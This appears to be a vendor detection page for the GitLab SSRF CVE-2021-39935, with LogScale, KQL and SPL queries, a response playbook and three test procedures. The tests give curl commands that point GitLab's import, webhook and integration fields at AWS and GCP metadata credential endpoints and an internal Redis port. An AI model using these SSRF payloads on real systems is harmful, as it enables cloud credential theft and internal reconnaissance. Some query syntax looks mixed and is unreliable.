Detect GitLab SSRF via Import Feature (CVE-2021-39935) in CrowdStrike LogScale
CVE-2021-39935 is a Server-Side Request Forgery (SSRF) vulnerability in GitLab Community and Enterprise Editions. An attacker can abuse GitLab's project import or integration features to cause the server to issue arbitrary HTTP requests to internal network resources, enabling reconnaissance, metadata service access, and potential lateral movement within cloud-hosted or on-premises GitLab deployments. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName=NetworkConnectIP4
| NetworkRemoteIP in ("169.254.169.254", "100.100.100.200", "127.0.0.1")
OR (NetworkRemoteIP startswith "10." AND ImageFileName = "/usr/bin/gitlab*")
OR (NetworkRemoteIP startswith "192.168." AND ImageFileName = "/usr/bin/gitlab*")
| join {#event_simpleName=ProcessRollup2 | ImageFileName=/gitlab/ | fields ProcessStartTime, UserName, CommandLine, ParentProcessId, TargetProcessId} key=[TargetProcessId], field=[ContextProcessId]
| eval ssrf_risk=if(NetworkRemoteIP=="169.254.169.254" OR NetworkRemoteIP=="100.100.100.200", "critical", "high")
| table _time, ComputerName, UserName, ImageFileName, CommandLine, NetworkRemoteIP, NetworkRemotePort, ssrf_risk
| sort by ssrf_risk asc, _time desc CrowdStrike Falcon query detecting GitLab process-level network connections to internal metadata and RFC-1918 addresses, indicative of SSRF exploitation.
Data Sources
Required Tables
False Positives & Tuning
- GitLab runner processes legitimately connecting to internal Docker daemon or registry
- GitLab backup processes accessing internal storage endpoints
- GitLab Pages serving content from internal network sources in on-premises deployments
Other platforms for CVE-2021-39935
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1SSRF via GitLab Project Import URL — Cloud Metadata
Expected signal: Outbound network connection from GitLab server process to 169.254.169.254:80; HTTP GET request logged in GitLab production.log with import_url parameter containing metadata IP
- Test 2SSRF via GitLab Webhook Integration — Internal Host
Expected signal: Network connection attempt from GitLab process to 192.168.1.1:6379; webhook creation logged in GitLab audit log with attacker-supplied internal URL
- Test 3SSRF via GitLab External Issue Tracker Integration — GCP Metadata
Expected signal: DNS lookup for metadata.google.internal followed by HTTP GET from GitLab server; integration update recorded in GitLab application log
Response Playbook
Triage
- Identify the source IP and user account associated with the suspicious GitLab API request and determine whether the account is legitimate or potentially compromised.
- Review GitLab application logs (/var/log/gitlab/gitlab-rails/production.log) for requests to /api/v4/projects, /import, or /integrations endpoints containing internal IP addresses or cloud metadata hostnames in parameters.
- Check whether the SSRF request successfully received a response by inspecting HTTP response codes and response body sizes — a 200 with non-trivial body size indicates successful metadata exfiltration.
- Determine GitLab version and patch level to confirm whether the instance is vulnerable; CVE-2021-39935 affects versions prior to 14.5.2.
Containment
- If active exploitation is confirmed, immediately block the source IP at the network perimeter and revoke any API tokens or personal access tokens associated with the requesting account.
- Apply egress firewall rules on the GitLab host to deny outbound connections to 169.254.169.254, 100.100.100.200, and all RFC-1918 ranges unless explicitly required by business processes, preventing further SSRF pivot attempts.
Evidence Collection
- Collect and preserve GitLab production and API logs from /var/log/gitlab/ including gitlab-rails/production.log, nginx/gitlab_access.log, and sidekiq.log covering the period of suspected activity.
- Export cloud provider metadata service access logs (AWS CloudTrail, GCP Audit Logs, Azure Activity Log) to determine whether attacker-controlled SSRF requests successfully retrieved instance metadata, credentials, or IAM token material.
Escalation Criteria
- !Escalate immediately if the SSRF response included AWS IMDSv1 credentials, GCP service account tokens, or Azure IMDS identity tokens, as these enable direct cloud account compromise.
- !Escalate if lateral movement from the GitLab host is detected following the SSRF event, or if internal services (Vault, internal APIs, Kubernetes API servers) received unauthorized requests originating from the GitLab server.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
/var/log/gitlab/gitlab-rails/production.log — contains full request parameters including SSRF payload URLs - >
/var/log/gitlab/nginx/gitlab_access.log — records source IPs and request paths for all HTTP traffic - >
GitLab database (PostgreSQL) — project import records and webhook configurations may retain attacker-supplied URLs
Tuning Guidance
Start by allowlisting known CI/CD runner IP ranges and internal integration service accounts that legitimately use the GitLab import API. Tune severity downward for requests that do not contain actual RFC-1918 or metadata IP addresses in query parameters. In air-gapped environments where all GitLab traffic is internal, adjust the SSRF indicator regex to exclude the specific RFC-1918 subnets used by legitimate integrations, and focus detection on cloud metadata service IPs only (169.254.169.254, 100.100.100.200). Consider raising confidence to high if your GitLab instance has no legitimate internal import sources.
Hunting Queries
Threat hunt for high-volume or parameter-diverse requests to GitLab API and import endpoints that may indicate automated SSRF scanning or exploitation tooling.
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has_any ("nginx", "gitlab", "apache")
| where RequestURL has_any ("/api/v4", "/import", "/integrations", "/hooks")
| where isnotempty(RequestClientApplication)
| summarize count() by SourceIP, RequestClientApplication, bin(TimeGenerated, 1h)
| where count_ > 20
| sort by count_ desc index=web sourcetype IN ("nginx:access", "access_combined")
| where (uri_path="*/api/v4/*" OR uri_path="*/import*" OR uri_path="*/hooks*")
| stats count dc(uri_query) as unique_params by src_ip, useragent
| where count > 20 OR unique_params > 10
| sort -count Atomic Red Team Tests
Simulates CVE-2021-39935 exploitation by submitting a project import request with the AWS IMDSv1 metadata URL as the import source, causing GitLab to issue a server-side HTTP request to the metadata endpoint.
Command
curl -s -X POST 'https://<GITLAB_HOST>/api/v4/projects' \
-H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{"name": "ssrf-test", "import_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' Cleanup
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>' -H 'PRIVATE-TOKEN: <TEST_TOKEN>' Expected Telemetry
Outbound network connection from GitLab server process to 169.254.169.254:80; HTTP GET request logged in GitLab production.log with import_url parameter containing metadata IP
Expected Detection
kql and spl queries trigger on the import endpoint request containing 169.254.169.254 in the request parameter
Exploits the SSRF vector through GitLab project webhook configuration, directing the server to issue a POST request to an internal host to enumerate accessible internal services.
Command
curl -s -X POST 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/hooks' \
-H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{"url": "http://192.168.1.1:6379", "push_events": true}' Cleanup
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/hooks/<HOOK_ID>' -H 'PRIVATE-TOKEN: <TEST_TOKEN>' Expected Telemetry
Network connection attempt from GitLab process to 192.168.1.1:6379; webhook creation logged in GitLab audit log with attacker-supplied internal URL
Expected Detection
chronicle_yaral and crowdstrike_cql rules fire on GitLab process network connection to RFC-1918 address
Abuses the external issue tracker integration feature to cause GitLab to fetch the GCP instance metadata endpoint, simulating exploitation in a GCP-hosted environment.
Command
curl -s -X PUT 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/integrations/external-wiki' \
-H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{"external_wiki_url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}' Cleanup
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/integrations/external-wiki' -H 'PRIVATE-TOKEN: <TEST_TOKEN>' Expected Telemetry
DNS lookup for metadata.google.internal followed by HTTP GET from GitLab server; integration update recorded in GitLab application log
Expected Detection
elastic_eql sequence rule matches on GitLab integration endpoint access followed by outbound connection to metadata.google.internal